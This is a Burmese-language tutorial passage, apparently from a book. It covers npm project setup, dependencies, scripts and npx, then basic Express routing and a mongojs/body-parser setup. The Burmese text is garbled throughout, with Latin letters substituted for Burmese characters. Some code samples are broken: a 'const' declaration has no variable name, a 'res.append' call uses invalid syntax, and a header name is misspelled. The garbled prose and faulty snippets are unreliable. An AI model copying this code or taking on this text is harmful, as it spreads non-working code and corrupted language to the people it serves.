ရင် အ့ဲဒီ package.json ကိုoွင့်gပင်တာက ပုိအဆင်dgပပါတယ်။ 

oုိဒါတစ်ခုကို နှစ်သက်ရာအမည်နဲ့ ကိုယ့်zာသာ dဆာက်လုိက်ပါ။ အ့ဲဒီoုိဒါထဲမှာ အခုလုိ Run dပးလုိက်ရင်
ရပါပြပီ။ ပdရာZျက်oိုဒါ goစ်သွားပါပြပီ။

npm init -y

Wrote to /path/to/project/package.json:

{
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  "name": "project",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}

ပdရာZျက်oုိဒါထဲမှာပဲ  npm ကိုသံုးပြပီးdတာ့  လုိချင်တဲ့  Third-party Package  dတွကို  ရယူလ့ုိရပါတယ်။
ဥပမာ ဒီလုိပါ -

npm install express

ဒါဆိုရင် express ဆိုတဲ့  Package ကို  npm က Download လုပ်ယူdပးယံုသာမက၊ express အလုပ်
လုပ်နိုင်o့ုိအတွက် ဆက်စပ်လုိအပ်dနတဲ့ Dependency Package dတွကိုပါ အလုိအdလျှာက် ရယူdပးသွား
မှာပါ။ ရရိှလာတဲ့ Package dတွကို node_modules ဆိုတဲ့ oုိဒါတစ်ခုထဲမှာ အကုန်ထည့်dပးသွားမှာgoစ်
ပါတယ်။ အသံုးလုိတဲ့အခါ အခုလုိ အလွယ်တစ်ကူ ချတိ်ဆက်အသံုးgပုလ့ုိရပါတယ်။

 JavaScript 
const express = require("express");

Package  အမည်goစ်တဲ့  express လ့ုိပဲdgပာလုိက်oို့လုိပါတယ်။  Package  ရဲ့တည်dနရာကို dgပာgပစရာ
မလုိပါzူး။  npm က  Package  dတွ  node_modules ဆိုတဲ့  oုိဒါထဲမှာ ရှိမှန်းသိထားပြပီးသားပါ။  npm
install အစား အတိုdကာက် ဒီလုိdရးလ့ုိလည်း ရပါတယ်။ i တစ်လံုးတည်းdပးလုိက်တာပါ။

npm i express

ဒါဆိုရင်လည်း express Package ကို ရယူလုိက်တာပါပဲ။ ဒီလုိရယူပြပီးdနာက် package.json oုိင်ကို
oွင့်eကည့်လိုက်ပါ။ အခုလုိgoစ်dနနိုင်ပါတယ်။
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 JSON 
{
  "name": "project",
  … 
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  … 
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1"
  }
}

dependencies ဆိုတဲ့အပိုင်းတစ်ပုိင်း  တိုးလာပြပီး  အထဲမှာ  express ပါဝင်dနတာကို  dတွ့ရပါလိမ့်
မယ်။ အ့ဲဒါကdတာ့ လက်ရှိပdရာZျက်ဟာ express ရှိမှ အလုပ်လုပ်တယ်လုိ့ သ့ူအလုိလုိ သတ်မှတ်လုိက်
တာပါပဲ။  တgခား  Package  dတွထပ်ပြပီးdတာ့  install လုပ်ရင်လည်း  အ့ဲဒီလုိထပ်တိုးပြပီးdတာ့  ပါဝင်
သွားဦးမှာပါ။ 

တစ်ချ ို ့  Package dတွက လုိdတာ့လုိအပ်တယ်၊ ဒါdပမယ့် အ့ဲဒါရှိမှ အလုပ်လုပ်တာ မဟုတ်zူး၊ ကုဒ်dတွ
dရးdနစဉ်မှာပဲ  လုိအပ်တာဆိုတာမျ ို း  ရိှတတ်ပါတယ်။  ဥပမာ  -  eslint လုိ  နည်းပညာမျ ို းပါ။  သူက
dရးထားတဲ့ ကုဒ်ထဲမှာရှိdနတဲ့ အမှားdတွကို ရှာdပးနိုင်ပါတယ်။ ဒါdeကာင့် သူရှိမှ အလုပ်လုပ်တာမျ ို းdတာ့
မဟုတ်ပါzူး။ ကုဒ်dတွdရးdနစဉ် Development Time မှာပဲ လုိအပ်တဲ့သdzာပါ။ ဒီလုိ Package မျ ို းကို
Development Dependency လ့ုိdခါ်ပါတယ်။ install လုပ်တဲ့အခါ --save-dev ဆိုတဲ့  Option နဲ့
တွဲပြပီးdတာ့ install လုပ်သင့်ပါတယ်။ အတိုdကာက် -D လ့ုိdgပာရင်လည်း ရပါတယ်။ ဒီလုိပါ။

npm i -D eslint

ဒီလုိ  install လုပ်ပြပီးတဲ့အခါ  package.json ကို gပန်dလ့လာeကည့်လုိက်ပါ။ ဒီလုိပံုစံမျ ို း goစ်နိုင်ပါ
တယ်။
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 JSON 
{
  "name": "project",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1"
  },
  "devDependencies": {
    "eslint": "^7.9.0"
  }
}

devDependencies ဆိုတဲ့  အပုိင်းတစ်ခု  ထပ်တိုးသွားတာပါ။  ဒါdeကာင့်  ဒီoိုင်ကို  eကည့်လိုက်ယံုနဲ့
ဒီပdရာZျက်မှာ zာdတွလုိလဲဆိုတာကို သိရနိုင်ပါတယ်။ dစာdစာက install လုပ်လုိက်တဲ့  Package
dတွကို  node_modules oုိဒါထဲမှာ သိမ်းသွားတယ်လ့ုိ dgပာခဲ့ပါတယ်။ ကိုယ့် ပdရာZျက်ကို  သူများကို
dပးတဲ့အခါ အ့ဲဒီ  node_modules oုိဒါ ထည့်dပးစရာမလုိပါzူး။ အလားတူပဲ သူများ Package dတွကို
ယူတဲ့အခါမှာလည်း node_modules oုိဒါမပါလ့ုိ zာမှမgoစ်ပါzူး။ package.json ပါoို့ပဲလိုပါတယ်။
npm ကို လုိတာdတွအကုန် install လုပ်လုိက်ပါလ့ုိ အခုလုိ dgပာလို့ရပါတယ်။

npm i

ဒါပါပဲ။  install အတွက်  dနာက်က  Package  အမည်  မdပးdတာ့တာပါ။  ဒါဆိုရင်  npm က
package.json ကို eကည့်ပြပီးdတာ့ လုိတာdတွအကုန် install လုပ်dပးသွားမှာ goစ်ပါတယ်။

NPM ကို သံုးမယ့်ကိစ္စ (၃) ခုမှာ (၂) ခdုတာ့ ရသွားပါပြပီ။ တစ်ခုက ပdရာZျက်dဆာက်တာပါ။ dနာကတ်စ်ခု
က လုိတဲ့  Package  dတွ ရယူတာပါ။ ကျန်dနတဲ့ dနာက်ဆုံးတစ်ခုကdတာ့  Script  dတွ  Run  တာgoစ်ပါ
တယ်။ package.json ထဲမှာ scripts ဆိုတဲ့ အပုိင်းတစ်ပုိင်းပါပါတယ်။ အ့ဲဒီ scripts မှာအခုလုိ
နမူနာ script dလးတစ်ခုdလာက် dရးပြပီး ထည့်လုိက်ပါ။
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 JSON 
{
  "name": "project",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",

  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "fun": "echo \"NPM scripts are fun\""
  },
  … 
  "dependencies": {
    "express": "^4.17.1"
  },
  "devDependencies": {
    "eslint": "^7.9.0"
  }
}

scripts ထဲမှာ  test က နZိုကတည်းကပါတာပါ။  fun လ့ုိdခါ်တဲ့  Script  တစ်ခု  ထပ်dရးပြပီး ထည့်
dပးလုိက်တာပါ။  zာမှအထူးအဆန်းdတာ့  မဟုတ်ပါzူး  စာdလးတစ်deကာင်း  ရိုက်ထုတ်dပးတဲ့  Script
ပါ။ အ့ဲဒီ Script ကို အခုလုိ npm နဲ့ Run ခိုင်းလို့ရပါတယ်။

npm run fun

> app@1.0.0 fun /home/eimg/Desktop/app
> echo "NPM scripts are fun"

NPM scripts are fun

ဒီနည်းကိုသံုးပြပီး ပdရာZျက်နဲ့ Source Code dတွကို စီမံတဲ့ Script dတွdရးထားပြပီး လုိတဲ့အချနိ် Run လ့ုိရ
gခင်း goစ်ပါတယ်။ Development Process Management အတွက် အdရးပါတဲ့ လုပ်dဆာင်ချက်ပါ။ ကုဒ်
dတွdရးပြပီးတဲ့အခါ Jest Test Library သံုးပြပီး Unit Test dတွ Run dပးo့ုိလုိနိုင်ပါတယ်။ ESLint လုိနည်း
ပညာများနဲ့ ကုဒ်အမှားdတွ ရှားခိုင်းလ့ုိ ရနိုင်ပါတယ်။ Babel လုိနည်းပညာမျ ို း နဲ့  Compile လုပ်o့ုိ လုိတာ
dတွ  Compile  လုပ်oို့လုိနိုင်ပါတယ်၊ ဥပမာ  React  ရဲ့  JSX  နဲ့ dရးထားတဲ့ကုဒ်ကို  JavaScript  goစ်dအာင်
dgပာင်းတာမျ ို းပါ။ Webpack လုိနည်းပညာမျ ို းနဲ့ ပdရာZျက်ကို  Development Server နဲ့ Run o့ုိလုိနိုင်ပါ
တယ်။  ဒါမျ ို းdတွကို  တစ်ခုချင်း  Manual  လုပ်မယ့်အစား  Script  dတွdရးထားလုိက်မယ်ဆိုရင်  NPM
Script  နဲ့  လုိအပ်ချနိ်မှာ  တစ်ချက်တည်းနဲ့  Run  လ့ုိရမှာgoစ်ပါတယ်။  ဒီအdeကာင်းအရာdတကွdတာ့
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ကျွန်dတာ်တို့အဓိကထား dလ့လာချင်တဲ့အdeကာင်းအရာနဲ့  Out of scope  goစ်dနလ့ုိ ထည့်မdgပာပါzူး။
NPM နဲ့ Script dတွ Run လ့ုိရတယ်ဆိုတာကိုသာ မှတ်ထားလိုက်ပါ။

dနာက်ထပ်တစ်ခု  မှတ်သင့်ပါdသးတယ်။  npm နဲ့  အခုနမူနာ  install လုပ်gပတဲ့  Package  dတွကို
Local Package လ့ုိdခါ်ပါတယ်။ လက်ရှိပdရာZျက်နဲ့ပဲ သက်ဆိုင်ပြပီး လက်ရှိပdရာZျက် ထဲကdနပဲ သံုးခွင့်
ရိှတဲ့ Package dတွပါ။ လုိအပ်ရင် Global Package dခါ် System Wide ကြကိုက်တဲ့dနရာကdန ချတိ်သံုးလုိ့
ရdအာင်လည်း install  လုပ်လ့ုိရပါတယ်။ --global သ့ုိမဟုတ် -g Option နဲ့တွဲပြပီး  install လုပ်ရ
ပါတယ်။ ဒီလုိပါ -

npm i -g eslint

ဒီတစ်ခါdတာ့ eslint ကို Global Package အdနနဲ့ Install လုပ်လုိက်တာပါ (Ubuntu Linux လ့ုိ စနစ်
မျ ို းမှာ  dရှ့က  sudo ထည့်dပးo့ုိ  လုိနိုင်ပါတယ်)။ ဒါdeကာင့် ဒီ  Package  ကို  System Wide  ကြကိုက်တဲ့
dနရာကdန dခါ်သံုးလ့ုိရသွားပါပြပီ။ 

npx ဆိုတာလည်း ရှိပါdသးတယ်။ တစ်ချ ို ့  Install  လုပ်ထားတဲ့  Package dတွက Module အdနနဲ့ dခါ်
သံုးo့ုိ မဟုတ်ပါzူး။ လုိအပ်တဲ့အခါ Run နိုင်oုိ့ Install လုပ်ထားတာပါ။ အခုနမူနာdပးdနတဲ့ eslint ဆို
ရင်လည်း ဒီသdzာပါပဲ။ ဒီ  Package  ကိုdခါ်သံုးပြပီး ကုဒ်dတွdရးo့ုိထက်စာရင် ဒီ  Package  ကို  Run  ပြပီး
dတာ့  ကုဒ်dတွကို  စစ်o့ုိgoစ်ပါတယ်။  Global  Package  အdနနဲ့  Install  လုပ်ထားရင်  အခုလုိ  ရိုးရိုး
Command တစ်ခုကဲ့သ့ုိ Run လ့ုိရပါတယ်။ ကြကိုက်တဲ့dနရာကdန Run လ့ုိရပါတယ်။

eslint --init
eslint math.js

eslint --init နဲ့  Configuration  oုိင်တည်dဆာက်ပြပီး  dနာကတ်စ်ဆင့်မှာ  math.js ထဲမှာရှိတဲ့
အမှားdတွကို စစ်ခိုင်းလုိက်တာပါ။ အကယ်၍ Local Package အdနနဲ့  Install  လုပ်ထားတာ ဆိရုင်dတာ့
npx ကိုသံုးပြပီး အခုလုိ Run dပးရပါတယ်။ 
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npx eslint --init 
npx eslint math.js

ဒီdလာက်ဆိုရင်dတာ့ Node တို့ NPM တို့နဲ့ပက်သက်ပြပီး သိသင့်တာdလးdတွ စုံသdလာက်ရှိသွားပါပြပီ။ 

အခုdgပာခဲ့တဲ့ထဲမှာ dရးမယ်လ့ုိ ရည်ရွယ်ထားတဲ့ ပdရာZျက်အdeကာင်းdတာ့ မပါdသးပါzူး။ dနာက်တစ်
ခန်းကျdတာ့မှ Express ကိုdလ့လာရင်း ဆကd်ရးသွားeကမှာမ့ုိလ့ုိပါ။
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အခန်း (၇၃) – Express

Express ဟာ JavaScript Server-side Framework dတွထဲမှာ လူသံုးအများဆုံးgoစ်ပြပီးdတာ့ Service   နဲ့  
API   dတွoန်တီးo့ုိအတွက် အဓိကအသံုးgပုeကပါတယ်  ။ ရိုးရှင်းပြပီး အသံုးgပုရလည်း လွယ်သလုိ စွမ်းdဆာင်
ရည်gမင့်ပြပီး  gမန်တဲ့အတွက်  လက်dတွ့အသံုးချ  ပdရာZျက်ကြကီးdတွကထိ  အားကိုးအားထား  gပုeကရတဲ့
Framework ပါ။

ပြပီးခဲ့တဲ့အခန်းမှာ  NPM  အdeကာင်းdgပာရင်း  ပdရာZျက်တည်dဆာက်ပံုနဲ့  Express  ကို  ရယူပံုdoာ်gပခဲ့ပါ
တယ်။  gပန်eကည့်dနရတာမျ ို းမgoစ်dအာင်  dနာက်တစ်dခါက်  gပန်dgပာလုိက်ပါမယ်။  ပထမဦးဆုံး  မိမိ
နှစ်သက်ရာအမည်နဲ့ oုိဒါတစ်ခုdဆာက်လုိက်ပါ။ ပြပီးတဲ့အခါ အ့ဲဒီoုိဒါထဲမှာ အခုလုိ ပdရာZျက်တစ်ခု oန်တီး
ပြပီး Express ကိုထည့်သွင်းdပးလုိက်ပါ။

npm init -y

npm i express

ဒါဆိုရင်  Express  ကို  အသံုးgပုပြပီး  ကုဒ်dတွ  စdရးလ့ုိရပါပြပီ။  dရးချင်တဲ့  ပdရာZျက်ကုဒ်dတွ  မdရးခင်
Express ရဲ့ သdzာသzာဝတစ်ချ ို ့ကို အရင်dgပာgပချင်ပါတယ်။ ပထမဆုံးအdနနဲ့ Express ကိုသုံးပြပီး API
URL  သတ်မှတ်ပံုနဲ့  Server Run  ပံု  Run နည်းကို  အရင်dgပာgပပါမယ်။ ပdရာZျက်oုိဒါထဲမှာ  index.js
အမည်နဲ့ oုိင်တစ်ခုdဆာက်ပြပီး အခုလုိ dရးသားdပးပါ။
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 JavaScript 
const express = require("express");
const app = express();
app.get("/api/people", function(req, res) {
    const data = [
        { name: "Bobo", age: 22 },
        { name: "Nini", age: 23 },
    ];

    return res.status(200).json(data);
});

app.listen(8000, function() {
    console.log("Server running at port 8000...");
}); 

ဒီကုဒ်မှာ ပထမဆုံး express ကို  Import လုပ်ယူပါတယ်။ ပြပီးတဲ့အခါသူ့ကို  Run ပြပီးdတာ့ app Object
တစ်ခတုည်dဆာက်ပါတယ်။  နမူနာမှာ  app ရဲ့  Method  (၂)  ခုကို  သံုးထားပါတယ်။  get() နဲ့
listen() တို့goစ်ပါတယ်။

get() ဟာ  Route  Method  တစ်ခုgoစ်ပြပီး  URL  လိပ်စာdတွ  သတ်မှတ်oုိ့  သံုးပါတယ်။  လက်ခံလုိတဲ့
Request Method dပါ်မူတည်ပြပီး get(), post(), put(), patch(), delete() စသgoင့်
Route Method dတွ အစုံရှိပါတယ်။ ကိုယ်လုိအပ်တဲ့ Method ကို အသံုးgပုနိုင်ပါတယ်။

Route Method  dတွဟာ  URL  နဲ့  Callback Function  တို့ကို  Parameter  များအdနနဲ့  လက်ခံပါတယ်။
URL သတ်မှတ်ပံုကdတာ့ ဟိုး RESTful API မှာ ရှင်းgပခဲ့ပြပီးgoစ်တဲ့ oဲွ့စည်းပံုအတိုင်း သတ်မှတ်နိုင်ပါတယ်။
Callback  Function  ကdတာ့  သတ်မှတ်ထားတဲ့  URL  ကိုအသံုးgပုပြပီး  Request  ဝင်dရာက်လာတဲ့အခါ
အလုပ်လုပ်မယ့် Function goစ်ပါတယ်။ သ့ူမှာ Request နဲ့ Response Object dတွကို လက်ခံအသံုးgပုလုိ့
ရပါတယ်။ နမူနာမှာ Request ကို req ဆိုတဲ့ Variable နဲ့လက်ခံပြပီး Response ကို res ဆိုတဲ့ Variable
နဲ့  လက်ခံယူထားတာကို  dတွ့နိုင်ပါတယ်။  req မှာ  Request  နဲ့ပက်သက်တဲ့  Header  dတွ  Body  dတွ
အကုန်ရှိပါတယ်။  တgခားအသုံးဝင်နိုင်တဲ့  Cookie  တို့  Host  တို့  IP  Address  တို့လည်း  ရှိပါတယ်။
အလားတူပဲ res ကို သံုးပြပီးdတာ့ လုိအပ်တဲ့ Response Header, Status Code နဲ့ Body dတွ သတ်မှတ်
လ့ုိရပါတယ်။
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dပးထားတဲ့နမူနာအရ  get() Method  ကိုသံုးပြပီးdရးထားလ့ုိ  Request Method  က  GET goစ်ရပါမယ်။
ပါ။  URL  က  /api/people အတိအကျgoစ်ရပါမယ်။  Request  Header  နဲ့  Body  ကdတာ့  dပးပ့ုိသူ
ကြကိုက်သလုိပ့ုိလ့ုိ ရပါတယ်။ သူပုိ့သမျှ req ထဲမှာ အကုန်ရှိdနမှာပါ။

နမူနာကုဒ်ရဲ့ အလုပ်လုပ်ပုံကdတာ့ ရိုးရိုးdလးပါ။ data လ့ုိdခါ်တဲ့ Sample JSON Array တစ်ခရုှိပါတယ်။
res.status() ကိုသံုးပြပီး Status Code သတ်မှတ်ပါတယ်။ json() ကdတာ့ အလုပ်နှစ်ခု လုပ်dပးပါ
တယ်။ Response Header မှာ  Content-Typ: application/json လ့ုိသတ်မှတ်ပြပီး dပးလုိက်
တဲ့  JSON  data ကို  Response Body  အdနနဲ့ gပန်ပုိ့dပးမှာပါ။ တgခား  send(), sendFile() စ
သgoင့် gပန်ပို့ချင်တဲ့ Content အမျ ို းအစားdပါ်မူတည်ပြပီး ပ့ုိလ့ုိရတဲ့ လုပ်dဆာင်ချက်dတွ ရှိပါdသးတယ်။ ဒါ
dပမယ့် ကျွန်dတာ်တို့ကdတာ့  json() ကိုပဲ  သံုးgoစ်မှာပါ။  end() ဆိုတဲ့  လုပ်dဆာင်ချက်တစ်ခုdတာ့
ရံoန်ရံခါလုိနိုင်ပါတယ်။ ဥပမာ -

 JavaScript 
res.status(204).end() 

204 ရဲ့  သdzာကိုက  No  Content  goစ်လ့ုိ  Response  Body  မပို့သင့်ပါzူး။  ဒါdeကာင့်  end() နဲ့
Response  ကို  အပြပီးသတ်dပးလုိက်တဲ့  သdzာပါ  (ဒါမှမဟုတ်  အ့ဲဒီလုိ  နှစ်ခတုွဲ  dရးမdနdတာ့zဲ
sendStatus() ကို သံုးလ့ုိလည်း ရပါတယ်။ သူလည်း Status Code ချည်းgပန်ပို့တာပါပဲ။ ကိုယ့်zာသာ
end() လုပ်dပးစရာdတာ့ မလုိdတာ့ပါzူး)။ 

Response Header dတွ သတ်မှတ်လုိရင် res.set() ကိုသံုးနိုင်ပါတယ်။ ဥပမာ -

 JavaScript 
res.set({
    "Location": "http://domain/api/people/3",
    "X-Rate-Limit-Limit": 60,
});

res.append() ကိုလည်းသံုးနိုင်ပါတယ်။ သူကdတာ့  Header  dတွကို  အခုလုိတစ်ခါတည်း  အကုန်မ
သတ်မှတ်zဲ တစ်ခုချင်း ထပ်တိုးချင်ရင် အသုံးဝင်ပါတယ်။ 
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 JavaScript 
res.append("X-Rate-Limit-Remaining": 58);

ဟိုအdပါ်မှာ  dပးထားတဲ့ကုဒ်နမူနာမှာ  res.status(200).json(data) လ့ုိdgပာတဲ့အတွက်
Status  Code  200,  Content-type: application/json နဲ့  data ကို  Response  Body
အgoစ် gပန်ပ့ုိdပးသွားမှာပါ။ ပြပီးdတာ့မှ listen() ကိုသံုးပြပီး Server Run ခိုင်းထားပါတယ်။ Port နံပါတ်
နဲ့ Callback Function dပးရပါတယ်။ Port နံပါတ်ကို 8000 လ့ုိdပးထားပြပီး Callback Function ကdတာ့
Server Run ပြပီးရင် အလုပ်လုပ်dပးသွားမှာ goစ်ပါတယ်။

စမ်းeကည့်လ့ုိ ရပါတယ်။ dရးထားတဲ့ကုဒ်ကို အခုလို node နဲ့ Run dပးရပါမယ်။

node index.js

Server running at port 8000…

Server Run dနပြပီgoစ်လ့ုိ နှစ်သက်ရာ Web Browser တစ်ခုကိုoွင့်ပြပီး localhost:8000 နဲ့ စမ်းeကည့်
လ့ုိရပါတယ်။ အခုလုိdတွ့ရပါမယ်။
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zာမှမပါတဲ့  Root  URL  အလွတ်goစ်dနလ့ုိ  အ့ဲဒီလုိdတွ့ရတာပါ။  ဒါdeကာင့်
localhost:8000/api/people ကို စမ်းeကည့်လိုက်ပါ။ အခုလုိdတွ့ရပါလိမ့်မယ်။

ဒါဟာ  API  တစ်ခုoန်တီးလိုက်တာပါပဲ။  dနာက်ထပ်သိသင့်တာdလး  တစ်ချ ို ့ထပ်မှတ်ပါ။  ပထမတစ်ခု
ကdတာ့ Dynamic URL သတ်မှတ်ပံုသတ်မှတ်နည်း goစ်ပါတယ်။ dစာdစာကနမူနာမှာ URL က Static ပါ။
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အdသသတ်မှတ်ထားလ့ုိ  သတ်မှတ်ထားတဲ့အတိုင်း  အတိအကျအသံုးgပုမှ  အလုပ်လုပ်ပါတယ်။  Dynamic
URL  dတာ့  URL  ရဲ့oဲွ့စည်းပံု  သတ်မှတ်ထားတဲ့အတိုင်း  မှန်ရမယ်၊ ဒါdပမယ့် တန်oုိးdgပာင်းလို့ရတဲ့  URL
အမျ ို းအစားပါ။ ဒီလုိသတ်မှတ်dပးနိုင်ပါတယ်။

 JavaScript 
app.get("/api/people/:id", function(req, res) {
    const = req.params.id;
    
    return res.status(200).json({ id });
});

URL  သတ်မှာ  :id ဆိုတဲ့သတ်မှတ်ချက် ပါသွားတာကိုသတိgပုပါ။  :id dနရာမှာ နှစ်သက်ရာတန်oုိးကို
dပးပြပီးdတာ့ သံုးနိုင်တဲ့  URL goစ်ပါတယ်။  :id dနရာမှာ dပးလာတဲ့ တန်oုိးကို  req.params.id ဆို
ပြပီးdတာ့ gပန်ယူလ့ုိရပါတယ်။ သတ်မှတ်တုံးက :id လ့ုိသတ်မှတ်ခဲ့လ့ုိ gပန်ယူတဲ့အခါ params.id ဆိုပြပီး
gပန်ယူရတာပါ။ id မှ မဟုတ်ပါzူး၊ တgခားနှစ်သက်ရာအမည်dပးပြပီး လက်ခံနိုင်ပါတယ်။ ဒါdပမယ့် REST
သdzာသzာဝအရ ကျွန်dတာ်တို့ကdတာ့ :id ကိုပဲ သံုးgoစ်မှာပါ။

ဒီကုဒ်dတွ dရးgoည့်ပြပီးရင် စမ်းeကည့်နိုင်o့ုိအတွက် API Server ကို  Ctrl + C နဲ့ ရပ်လုိက်ပြပီး dနာက်တစ်ခါ
node index.js နဲ့  gပန်  Run  dပးo့ုိ  လုိအပ်ပါတယ်။  အသစ်ထပ်ထည့်လုိက်တဲ့ကုဒ်  အလုပ်လုပ်o့ုိ
အတွက် အခုလုိ   Server   ကို gပန်စdပးရတာပါ  ။ သတိgပုပါ။ အစပုိင်းမှာ dမ့တတ်ပါတယ်။ dမ့ပြပီး gပန်မစလ့ုိ
dရးထားတဲ့ကုဒ် အလုပ်မလုပ်zူး ထင်တတ်ပါတယ်။ ဒီလုိ ကိုယ့်zာသာ gပန်စdပးစရာ မလုိတဲ့နည်းdတွ
ရိှdပမယ့် ထည့်မdgပာdတာ့ပါzူး။ dလာdလာဆယ် ကုဒ်dတွgoည့်dရးပြပီးရင်  Server  gပန်စdပးရတယ်လ့ုိ
သာမှတ်ထားdပးပါ။ ပြပီးရင် စမ်းeကည့်လ့ုိရပါတယ်။  localhost:8000/api/people/123 ဆိရုင်
အခုလုိ gပန်ရမှာပါ။
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123  အစား  တgခားတန်oုိးdတွ  ကြကိုက်သလုိdgပာင်းdပးပြပီး  စမ်းeကည့်နိုင်ပါတယ်။  dနာက်တစ်ခုထပ်ပြပီး
မှတ်သင့်တာကdတာ့ URL Route dတွကို စာမျက်နှာခွဲdရးထားလို့ ရနိုင်gခင်း goစ်ပါတယ်။ ပdရာZျက်ကြကီး
လာရင် ကုဒ်dတွခွdဲရးတယ်ဆိုတာ မgoစ်မdန လုိအပ်မှာပါ။  Node Module  dရးထံုးအတိုင်းပဲ ခွdဲရးနိုင်ပါ
တယ်။ routes.js ဆိုတဲ့oုိင်ထဲမှာ အခုလုိdရးပြပီး စမ်းeကည့်ပါ။

 JavaScript 
const express = require("express");
const router = express.Router();
router.get("/people", function(req, res) {
    const people = [
        { name: "Bobo", age: 22 },
        { name: "Nini", age: 23 },
    ];

    return res.status(200).json(people);
});

router.get("/people/:id", function(req, res) {
    const id = req.params.id;
    return res.status(200).json({ id });
});

module.exports = router;
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ဒီတစ်ခါ app မပါdတာ့ပါzူး။ အ့ဲဒီအစား router ကိုအသံုးgပုပြပီး URL dတွ သတ်မှတ်ထားပါတယ်။ ပြပီး
dတာ့မှအ့ဲဒီ Router တစ်ခုလံုးကို  Export လုပ်dပးထားပါတယ်။ ဒါdeကာင့် လုိအပ်တဲ့dနရာက ယူသံုးလ့ုိရ
ပါပြပီ။ index.js မှာ အခုလုိ ယူသံုးပြပီး dရးစမ်းeကည့်လ့ုိရပါတယ်။

 JavaScript 
const express = require("express");
const app = express();
const routes = require("./routes");
app.use("/api", routes);
app.listen(8000, function() {
    console.log("Server running at port 8000...");
});

dစာdစာကလုိ  URL  သတ်မှတ်ချက်dတွ မပါdတာ့ပါzူး။ အ့ဲဒီအစား  routes.js ကို  Import  လုပ်ပြပီး
use() ရဲ့အကူအညီနဲ့ /api dတွအားလံုး routes.js မှာ သတ်မှတ်ထားတဲ့ routes dတွကို သံုးရ
မယ်လို့ dgပာလုိက်တာပါ။ ရလဒ်က dစာdစာက နမူနာနဲ့ အတူတူပဲgoစ်မှာပါ။ ကွာသွားတာက Route dတွ
ကို oုိင်ခွဲပြပီး dရးလုိက်gခင်းသာ goစ်ပါတယ်။ ဆက်လက်doာ်gပမယ့် နမူနာမှာdတာ့ oုိင်dတွ ခွဲမdနdတာ့ပါ
zူး။ တစ်မျက်နှာထဲမှာပဲ လုိတာအကုန် dရးသွားမှာ goစ်ပါတယ်။

Project
တစ်ကယ်dတာ့ သိသင့်တာ စုံdအာင်ကြကိုdgပာထားပြပီးမ့ုိလ့ုိ ပdရာZျက်လို့သာ နာမည်တပ်ထားတာ အများ
ကြကီးdgပာစရာ  မကျန်dတာ့ပါzူး။  dရးစရာရှိတဲ့  ကုဒ်နမူနာကို  တန်းdရးgပလုိက်ယံုပဲ  ကျန်ပါdတာ့တယ်။
MongoDB  ကို  Express  ကdန ချတိ်နိုင်o့ုိအတွက်  mongojs လ့ုိdခါ်တဲ့  Package  ကို  ရယူအသံုးgပုပါ
မယ်။ MongoDB ရဲ့  Official Package က mongo ပါ။ ဒါdပမယ့် mongojs ကိုသုံးo့ုိ dရွးပါတယ်။ zာ
goစ်လ့ုိလဲ ဆိုdတာ့ သူက Mongo Shell  ထဲက Command dတွအတိုင်း သံုးလုိ့ရdအာင် စီစဉ်dပးထားတဲ့
အတွက် ထပ်dလ့လာစရာ မလုိzဲ သိပြပီးသားအတိုင်း ဆက်သံုးနိုင်မှာမ့ုိလုိ့ပါ။

dနာက်ထပ် Package တစ်ခုလည်း လုိပါdသးတယ်။ body-parser လ့ုိdခါ်ပါတယ်။ ဟိုအရင်ကဆိုရင်
Express  မှာ လုိအပ်တာအကုန် ပါပါတယ်။ body-parser ဆိုတာ Express  ရဲ့ အစိတ်အပုိင်းတစ်ခုပါ။
dနာက်ပုိင်းdတာ့ Express က မလုိတာမသံုးzဲ လုိတာပဲ dရးွသံုးလို့ရdအာင် Package dတွ ခွဲထုတ်gပစ်ပါ
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တယ်။ Cookie စီမံတာက Package တစ်ခု၊ File Upload စီမံတာက Package တစ်ခု၊ Request Body စီမံ
တာက Package တစ်ခု စသgoင့်ပါ။ dကာင်းပါတယ်။ အခု ပdရာZျက်မှာဆိုရင် Cookie တို့  File Upload
တို့  သံုးo့ုိအစီအစဉ်  မရှိပါzူး။  မလုိzဲ  ပါdနရင်ရှုပ်ပါတယ်။ လုိတဲ့  Package  ကိုသာ dရွးပြပီးdတာ့  ထည့်
လုိက်ယံုပါပဲ။ Request Body ကို စီမံတယ်ဆိုတာ Request နဲ့အတူ ပါဝင်လာတဲ့ JSON String dတွ URL
Encoded String dတွကို JSON Object dgပာင်းdပးတဲ့ အလုပ်ကို ဆိုလုိတာပါ။ 

အခုလုိ install လုပ်dပးလုိက်ပါ။

npm i mongojs body-parser 

ပြပီးရင် index.js မှာ dရးရမယ့်ကုဒ်ကိုတစ်ပုိင်းချင်း gပသွားပါမယ်။ ပထမတစ်ပုိင်း စeကည့်ပါ။

 JavaScript 
const express = require("express");
const app = express();
const mongojs = require("mongojs");
const db = mongojs("travel", [ "records" ]);
const bodyParser= require("body-parser");
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

ပထမဆုံး  express ကို  Import  လုပ်ပါတယ်။  ပြပီးတဲ့အခါ  mongojs ကို  Import  လုပ်ပါတယ်။
mongojs ကို သံုးပြပီး  MongoDB Server  ကိုချတိ်နိုင်ပါတယ်။ ပထမ Parameter  က Database Name
goစ်ပြပီး  ဒုတိယ  Parameter  က  Collection  Array  ကို  dပးရတာပါ။  Collection  တစ်ခုပဲရှိလ့ုိ  Array
Content လည်း နမူနာမှာ တစ်ခုပဲရှိတာပါ။ MongoDB Server Run ထားo့ုိလုိမယ်ဆိုတာကို သတိgပုပါ။

dနာက်တစ်ဆင့်မှာ body-parser ကို Import လုပ်ပြပီး use() နဲ့ သ့ူရဲ့ လုပ်dဆာင်ချက်နှစ်ခုကို eကား
goတ်ပြပီး လုပ်ခိုင်းထားပါတယ်။  URL Encoded String  dတွကို  JSON  အdနနဲ့  Parse  လုပ်oို့ရယ်၊  JSON
String dတွကို JSON အdနနဲ့ Parse လုပ်oို့ရယ် dgပာထားတာပါ။ urlencoded() အတွက်dပးထားတဲ့
